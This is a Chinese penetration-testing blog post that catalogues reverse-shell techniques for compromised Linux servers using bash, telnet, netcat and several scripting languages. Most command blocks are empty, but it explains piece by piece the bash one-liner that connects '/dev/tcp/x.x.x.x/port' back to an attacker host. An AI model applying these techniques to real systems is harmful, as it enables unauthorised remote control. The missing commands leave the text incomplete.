Linux中的多种姿势反弹shell-Alkaid

在渗透过程中,在拿到webshell后,如果目标主机是Linux服务器,一般我们都会选择反弹shell以方便后续操作,在此总结下反弹shell的几种姿势。

0x01Bash反弹

攻击者主机上执行监听:


目标主机上执行:


简单解释下:

  • bash -i   打开一个交互的bash
  • >&   将标准错误输出重定向到标准输出
  • /dev/tcp/x.x.x.x/port   意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
  • 0>&1   标准输入重定向到标准输出,实现你与反弹出来的shell的交互

     

    注:

    /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

    linux shell下常用的文件描述符是:

    1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ;

    2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ;

    3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

    另外由于不同Linux发行版之间的差异,该命令在某些系统上可能并不适用。

     

    其他版本:

    方法二:


         方法三:

0x02telnet反弹

攻击者主机上打开两个终端分别执行监听:


目标主机中执行:


监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip

反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。

另一个版本:

0x03nc(netcat)反弹

攻击者主机上执行监听命令:


目标主机上执行:


如果目标主机linux发行版本没有 -e 参数,还有以下几种方式:

0x04. 常见脚本反弹

1. Python


2. Perl

方法一:


方法二:


3. Ruby

方法一:


4. PHP


5. Java


6. Lua